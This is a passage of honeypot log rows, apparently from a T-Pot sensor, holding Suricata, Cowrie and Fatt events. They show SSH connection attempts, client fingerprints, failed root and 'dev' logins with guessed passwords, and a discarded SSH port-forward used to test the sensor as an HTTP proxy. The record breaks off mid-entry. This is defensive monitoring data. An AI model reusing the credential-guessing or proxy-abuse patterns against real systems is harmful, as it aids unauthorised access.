29747	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:29:01.788043+03	2021-09-20 14:30:04.530524+03	{"_id": "zQb3AnwBvYTbRNuEbzcu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:29:00.253193+0000", "pkts_toclient": 4, "pkts_toserver": 6, "bytes_toclient": 895, "bytes_toserver": 1410}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 403812564917513, "payload": "AAADzAYUuOjoIY0sfxgXgGBPYBcOCQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43624, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:29:01.788043Z", "@timestamp": "2021-09-20T11:29:01.788Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........!.,....`O`......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29748	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:29:02.961502+03	2021-09-20 14:30:04.532524+03	{"_id": "zwb3AnwBvYTbRNuEcTdn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.login.failed", "message": "login attempt [dev/password] failed", "session": "b176305ca830", "@version": "1", "password": "password", "username": "dev", "timestamp": "2021-09-20T11:29:02.961502Z", "@timestamp": "2021-09-20T11:29:02.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29749	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:29:16.971606+03	2021-09-20 14:30:04.533523+03	{"_id": "3Ab3AnwBvYTbRNuEqDc-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:41715 (192.168.176.2:22) [session: 4e602ec6f817]", "session": "4e602ec6f817", "@version": "1", "protocol": "ssh", "src_port": 41715, "dest_port": 22, "timestamp": "2021-09-20T11:29:16.971606Z", "@timestamp": "2021-09-20T11:29:16.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30219	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:33:28.07565+03	2021-09-20 14:45:02.715142+03	{"_id": "NAb7AnwBvYTbRNuEfTsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9b3f6cfe6b80", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:33:28.075650Z", "@timestamp": "2021-09-20T11:33:28.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29750	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:29:16.974698+03	2021-09-20 14:30:04.535524+03	{"_id": "3Qb3AnwBvYTbRNuEqDc-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "4e602ec6f817", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:29:16.974698Z", "@timestamp": "2021-09-20T11:29:16.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29751	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:29:17.029352+03	2021-09-20 14:30:04.536524+03	{"_id": "3gb3AnwBvYTbRNuEqDc-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "4e602ec6f817", "@version": "1", "timestamp": "2021-09-20T11:29:17.029352Z", "@timestamp": "2021-09-20T11:29:17.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29752	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:29:16.000226+03	2021-09-20 14:30:04.537524+03	{"_id": "4Qb3AnwBvYTbRNuEqTfM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:28:14.524064+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 12972685459232, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 51350, "timestamp": "2021-09-20T11:29:16.000226Z", "@timestamp": "2021-09-20T11:29:16.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29753	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:29:20.432957+03	2021-09-20 14:30:04.538523+03	{"_id": "6Ab3AnwBvYTbRNuEtzfB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 1, "data": "b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632137360.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 1 to 69.195.128.18:80 with data b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632137360.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "session": "1408bad53d51", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:29:20.432957Z", "@timestamp": "2021-09-20T11:29:20.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
29754	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:29:01.787332+03	2021-09-20 14:30:04.540523+03	{"_id": "zAb3AnwBvYTbRNuEbzcu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "flow_id": 403812564917513, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43624, "dest_port": 22, "timestamp": "2021-09-20T11:29:01.787332Z", "@timestamp": "2021-09-20T11:29:01.787Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29755	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:29:02.897516+03	2021-09-20 14:30:04.541523+03	{"_id": "zgb3AnwBvYTbRNuEcTdn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/3333] failed", "session": "ddafc6f1593f", "@version": "1", "password": "3333", "username": "root", "timestamp": "2021-09-20T11:29:02.897516Z", "@timestamp": "2021-09-20T11:29:02.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29756	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:29:04.160929+03	2021-09-20 14:30:04.542523+03	{"_id": "0Ab3AnwBvYTbRNuEdTdR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "ddafc6f1593f", "@version": "1", "duration": 5.471590042114258, "timestamp": "2021-09-20T11:29:04.160929Z", "@timestamp": "2021-09-20T11:29:04.160Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29757	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:29:04.940532+03	2021-09-20 14:30:04.543525+03	{"_id": "0Qb3AnwBvYTbRNuEeTc6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "b176305ca830", "@version": "1", "duration": 3.418252468109131, "timestamp": "2021-09-20T11:29:04.940532Z", "@timestamp": "2021-09-20T11:29:04.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29758	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:29:33.67436+03	2021-09-20 14:30:04.545524+03	{"_id": "Bwb3AnwBvYTbRNuE6ji8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:48240 (192.168.176.2:22) [session: 3091b86d9315]", "session": "3091b86d9315", "@version": "1", "protocol": "ssh", "src_port": 48240, "dest_port": 22, "timestamp": "2021-09-20T11:29:33.674360Z", "@timestamp": "2021-09-20T11:29:33.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29759	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:29:33.851985+03	2021-09-20 14:30:04.546524+03	{"_id": "CAb3AnwBvYTbRNuE6ji8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "3091b86d9315", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:29:33.851985Z", "@timestamp": "2021-09-20T11:29:33.851Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29760	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:29:34.030661+03	2021-09-20 14:30:04.547523+03	{"_id": "CQb3AnwBvYTbRNuE6ji8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "3091b86d9315", "@version": "1", "timestamp": "2021-09-20T11:29:34.030661Z", "@timestamp": "2021-09-20T11:29:34.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29761	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:29:33.851696+03	2021-09-20 14:30:04.548523+03	{"_id": "Cgb3AnwBvYTbRNuE7Dg7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1260329977615945, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48240, "dest_port": 22, "timestamp": "2021-09-20T11:29:33.851696Z", "@timestamp": "2021-09-20T11:29:33.851Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29762	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:29:33.854463+03	2021-09-20 14:30:04.550524+03	{"_id": "Cwb3AnwBvYTbRNuE7Thk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 